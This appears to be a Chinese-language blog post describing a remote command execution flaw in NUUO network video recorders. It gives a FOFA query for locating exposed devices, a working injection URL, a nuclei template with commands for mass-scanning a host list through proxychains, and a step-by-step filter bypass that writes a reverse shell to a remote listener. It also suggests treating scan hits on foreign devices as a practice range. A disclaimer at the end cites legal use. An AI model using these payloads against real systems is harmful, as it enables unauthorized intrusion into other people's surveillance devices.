NUUO 网络摄像头命令执行漏洞

一、设备简介

  • NUUO NVR是中国台湾省NUUO公司旗下的一款网络视频记录器,该设备存在远程命令执行漏洞,攻击者可利用该漏洞执行任意命令,进而获取服务器的权限。

  • 网络视频记录器的CPU为Marvell Kirkwood 88F6281,CPU架构为基于ARMv5架构。该系统中有busybox,一个精简的环境,包含了许多最常用的UNIX命令和工具,如ls、cp、mv、grep、find、awk、sed等。无法执行复杂的任务和其他架构的程序。
    NUUO 网络摄像头命令执行漏洞_第1张图片
    FOFA语法如下:

title="Network Video Recorder Login "

二、漏洞原理

  1. 利用GET请求如下POC执行whoami命令得到回显。
http://{{Hostname}}/__debugging_center_utils___.php?log=|whoami
  1. nuclei扫描POC
id: NUUO-log-rce

info:
  name: NUUO-log-rce
  author: skyOff
  severity: high
  description: NUUO-log-rce
  tags: NUUO,rce

requests:
  - raw:
      - |+
        GET /__debugging_center_utils___.php?log=|id HTTP/1.1
        Host: {{Hostname}}
        Connection: close

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - uid
      - type: status
        status:
          - 200
  • kali快速安装nuclei,nuclei批量命令如下:
$ sudo apt install nuclei -y
$ proxychains nuclei -duc -list 100hosts.txt -t ./NUUO-log-rce.yaml

即可得到扫描结果,即可作为漏洞复现靶场(国外)。

三、绕过过滤规则,写入落盘文件。

  • 通过逐个字符写入绕过后端代码审计过滤规则,并将反弹命令写入到a.sh脚本中。
  • 由于NUUO后端对get请求的符号进行过滤,所以需要用url编码绕过&过滤,用echo $PWD 命令回显字符裁剪第一个字符/来得到/,这个裁剪后存在“\n”回车符,所以我们利用awk '{ printf “%s”, $0 }'去除"\n"。
  • 命令为echo $PWD | cut -c1 | awk ‘{ printf “%s”, $0 }’
    a.sh内容为 sh -i >& /dev/tcp/1.2.3.4/1234 0>&1
  • 逐个请求如下URL,实现a.sh文件落地到目标主机。
http://xx.xx.xx.xx/__debugging_center_utils___.php?log=|printf "sh -i " >a.sh
http://xx.xx.xx.xx/__debugging_center_utils___.php?log=|printf ">" >>a.sh
http://xx.xx.xx.xx/__debugging_center_utils___.php?log=|printf "%26" >>a.sh
http://xx.xx.xx.xx/__debugging_center_utils___.php?log=|printf " " >>a.sh
http://xx.xx.xx.xx/__debugging_center_utils___.php?log=|echo $PWD | cut -c1  | awk '{ printf "%s", $0 }' >> a.sh
http://xx.xx.xx.xx/__debugging_center_utils___.php?log=|printf "dev"  >>a.sh
http://xx.xx.xx.xx/__debugging_center_utils___.php?log=|echo $PWD | cut -c1  | awk '{ printf "%s", $0 }' >> a.sh
http://xx.xx.xx.xx/__debugging_center_utils___.php?log=|printf "tcp"  >>a.sh
http://xx.xx.xx.xx/__debugging_center_utils___.php?log=|echo $PWD | cut -c1  | awk '{ printf "%s", $0 }' >> a.sh
http://xx.xx.xx.xx/__debugging_center_utils___.php?log=|printf "1.2.3.4"  >>a.sh
http://xx.xx.xx.xx/__debugging_center_utils___.php?log=|echo $PWD | cut -c1  | awk '{ printf "%s", $0 }' >> a.sh
http://xx.xx.xx.xx/__debugging_center_utils___.php?log=|printf "1234 0"  >>a.sh
http://xx.xx.xx.xx/__debugging_center_utils___.php?log=|printf ">"  >>a.sh
http://xx.xx.xx.xx/__debugging_center_utils___.php?log=|printf "%26" >>a.sh
http://xx.xx.xx.xx/__debugging_center_utils___.php?log=|printf "1"  >>a.sh

http://xx.xx.xx.xx/__debugging_center_utils___.php?log=|cat a.sh

公网主机(1.2.3.4)启动监听端口nc -lvp 1234 -n
再执行bash a.sh 反弹shell即可生效。

http://xx.xx.xx.xx/__debugging_center_utils___.php?log=|bash a.sh
  • 此设备内存大小大多数为1GB或者0.5GB大小内存,存储大概为2TB-5TB不等。
  • 该系统中有busybox,一个精简的环境,包含了许多最常用的UNIX命令和工具,如ls、cp、mv、grep、find、awk、sed等。即使拿到设备shell发现什么都做不了,无法安装任何软件。
  • 由于armv5架构问题,无法执行其他架构的二进制文件,所以没有什么利用价值。除了对设备内容存储内容进行编辑外无可用之处。
    其他后渗透操作还需读者耐心研究,国富民强。

免责声明

免责声明: 本文旨在分享技术复现的相关知识和信息,仅供教育、研究和合法的安全测试之用。使用者应知悉并同意,任何通过本文所提供的技术和信息进行的活动,需遵守适用的法律法规,并获得相关授权。 特此声明,本文作者或发布者不对使用本文所提供的任何技术和信息导致的任何直接或间接损失、损害或法律纠纷承担责任。使用者应对其自身行为负完全责任,并自行承担相关风险。 使用者在使用本文所提供的技术和信息之前,请确保已获得合适的合法授权,并遵守以下准则:

  1. 合法使用原则:在任何情况下,禁止利用本文所涉及的技术和信息从事非法、未授权的活动,包括但不限于黑客攻击、非法入侵、未经授权的系统访问、数据篡改或窃取等。使用者应尊重他人的隐私权和知识产权,并严守法律和道德规范。
  2. 授权原则:在进行任何测试、复原或演示攻击之前,确保已获得明确的合法授权。未经明确授权进行攻击或测试行为是违法的,一切后果由使用者自行承担。
  3. 风险责任原则:使用者应意识到黑客技术复现存在风险,并且可能导致系统崩溃、数据丢失、业务中断或其他潜在的损害。在执行任何技术操作之前,请备份重要数据,并自行承担一切风险和责任。
  4. 法律遵守原则:使用者应遵守适用的国家、地区或国际法律法规。在进行学习、实验和测试的过程中,绝不可涉及非法活动,包括但不限于窃取他人信息、破坏公共设施、恶意软件传播或侵犯知识产权等。

请在使用本文所提供技术和信息之前,务必充分理解并接受上述责任和准则。 此免责声明适用于本文提供的任何技术和信息,无论以何种方式传播或使用,使用者一旦进行相关活动即视为接受以上所有规定和责任。

你可能感兴趣的:(网络)